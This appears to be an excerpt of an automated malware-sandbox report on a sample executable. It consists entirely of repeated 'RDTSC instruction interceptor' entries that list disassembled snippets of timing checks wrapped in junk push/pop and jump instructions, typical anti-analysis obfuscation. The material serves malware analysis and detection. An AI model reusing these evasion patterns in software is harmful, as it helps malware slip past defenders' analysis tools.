Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 189D734 second address: 189D74E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54E8FCC6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 189D74E second address: 189D782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007F5B54D09366h 0x0000000d jmp 00007F5B54D0936Dh 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 jmp 00007F5B54D0936Eh 0x0000001c pop edi 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 push edi 0x00000021 pop edi 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18A4DBE second address: 18A4DD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F5B54E8FCB8h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 js 00007F5B54E8FCB6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18A4DD8 second address: 18A4DE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F5B54D0936Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18A3C05 second address: 18A3C0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18A3C0B second address: 18A3C1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F5B54D09366h 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18A3C1B second address: 18A3C1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1851F6E second address: 1851F72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1851F72 second address: 183780D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5B54E8FCB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e or dword ptr [ebp+1246EC4Dh], eax 0x00000014 call dword ptr [ebp+122D252Dh] 0x0000001a push eax 0x0000001b push edx 0x0000001c push ecx 0x0000001d push esi 0x0000001e pop esi 0x0000001f push eax 0x00000020 pop eax 0x00000021 pop ecx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 185201F second address: 1852023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 185276D second address: 1852771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1852771 second address: 185277B instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5B54D09366h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1852870 second address: 1852876 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1852DA1 second address: 1852DBA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5B54D09368h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jnp 00007F5B54D09366h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1852DBA second address: 1852DC4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5B54E8FCBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1852F43 second address: 1852F59 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F5B54D0936Ch 0x00000010 jng 00007F5B54D09366h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1852F59 second address: 1852F5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1852F5F second address: 1852F63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18530D5 second address: 18530D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18A3EE2 second address: 18A3EE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18A42FF second address: 18A4309 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F5B54E8FCB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18A4309 second address: 18A4319 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5B54D09366h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18A4319 second address: 18A431D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18A431D second address: 18A4343 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54D0936Eh 0x00000007 jc 00007F5B54D09366h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F5B54D0936Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18A463E second address: 18A465E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F5B54E8FCB6h 0x0000000a popad 0x0000000b push ecx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop ecx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5B54E8FCBEh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18A47BC second address: 18A47FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007F5B54D09374h 0x0000000b jl 00007F5B54D09366h 0x00000011 push eax 0x00000012 pop eax 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pop ecx 0x00000017 push eax 0x00000018 pushad 0x00000019 jmp 00007F5B54D09378h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18A47FE second address: 18A4804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18A726F second address: 18A7275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18A7275 second address: 18A7297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F5B54E8FCC4h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18AA073 second address: 18AA086 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5B54D0936Dh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18AA39E second address: 18AA3CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F5B54E8FCC4h 0x0000000c jmp 00007F5B54E8FCC4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18AA3CD second address: 18AA3D3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18AA3D3 second address: 18AA3E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F5B54E8FCBCh 0x0000000c je 00007F5B54E8FCB6h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18AA3E8 second address: 18AA418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5B54D09376h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007F5B54D09368h 0x00000015 push eax 0x00000016 pop eax 0x00000017 push edx 0x00000018 jnl 00007F5B54D09366h 0x0000001e pop edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18AA569 second address: 18AA56D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18AA56D second address: 18AA571 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18AA571 second address: 18AA581 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5B54E8FCB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18AA581 second address: 18AA5A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007F5B54D09370h 0x0000000e jo 00007F5B54D09366h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18AA5A2 second address: 18AA5BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 jmp 00007F5B54E8FCC2h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18AE10C second address: 18AE115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18AE115 second address: 18AE11F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F5B54E8FCB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18AE11F second address: 18AE127 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B35CA second address: 18B35CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B35CE second address: 18B35D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B35D2 second address: 18B35D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B3DCF second address: 18B3DE6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5B54D09368h 0x00000008 push eax 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B3DE6 second address: 18B3DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B3DEA second address: 18B3DEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B3DEE second address: 18B3DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F5B54E8FCC2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B4774 second address: 18B4782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F5B54D0936Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B4782 second address: 18B478D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B8E61 second address: 18B8E9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F5B54D09370h 0x0000000e popad 0x0000000f jmp 00007F5B54D09379h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B8E9A second address: 18B8E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B8E9E second address: 18B8EA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B8383 second address: 18B8387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B84E2 second address: 18B84E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B84E6 second address: 18B852B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5B54E8FCC9h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5B54E8FCC9h 0x00000013 je 00007F5B54E8FCBAh 0x00000019 push edx 0x0000001a pop edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B86A6 second address: 18B86AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B86AB second address: 18B86B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B86B0 second address: 18B86E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F5B54D09371h 0x0000000e jmp 00007F5B54D09376h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B883C second address: 18B8857 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5B54E8FCC1h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B8857 second address: 18B8876 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 jmp 00007F5B54D09376h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B8876 second address: 18B8895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 ja 00007F5B54E8FCB6h 0x0000000e jmp 00007F5B54E8FCBFh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B8A07 second address: 18B8A0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18B8A0D second address: 18B8A27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5B54E8FCC6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18C187A second address: 18C188E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F5B54D0936Dh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18C188E second address: 18C1896 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18C1896 second address: 18C18A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F5B54D0936Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18C18A9 second address: 18C18C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 jmp 00007F5B54E8FCC4h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18C18C8 second address: 18C18E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jns 00007F5B54D0936Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5B54D0936Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18C18E5 second address: 18C18E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18BF947 second address: 18BF94D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18BF94D second address: 18BF972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jno 00007F5B54E8FCB6h 0x0000000d jmp 00007F5B54E8FCBEh 0x00000012 pop edi 0x00000013 jl 00007F5B54E8FCC4h 0x00000019 push ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18BFC19 second address: 18BFC1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18BFC1F second address: 18BFC39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F5B54E8FCB6h 0x0000000a jmp 00007F5B54E8FCC0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18C01F7 second address: 18C01FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18C01FB second address: 18C0201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18C0D16 second address: 18C0D1C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18C0D1C second address: 18C0D55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54E8FCC7h 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebx 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F5B54E8FCC1h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18C157D second address: 18C15B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F5B54D09378h 0x0000000b jmp 00007F5B54D09375h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18C15B2 second address: 18C15C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F5B54E8FCB6h 0x0000000a popad 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f je 00007F5B54E8FCB6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18C15C9 second address: 18C15DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5B54D09366h 0x0000000a jns 00007F5B54D09366h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18C15DA second address: 18C15E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jng 00007F5B54E8FCB6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18C3AC9 second address: 18C3AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jnl 00007F5B54D09366h 0x0000000c jmp 00007F5B54D09375h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18C3AEB second address: 18C3B27 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5B54E8FCCEh 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F5B54E8FCC6h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ebx 0x00000012 jmp 00007F5B54E8FCC6h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1814CBF second address: 1814CC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18CC56B second address: 18CC576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F5B54E8FCB6h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18CC737 second address: 18CC73B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
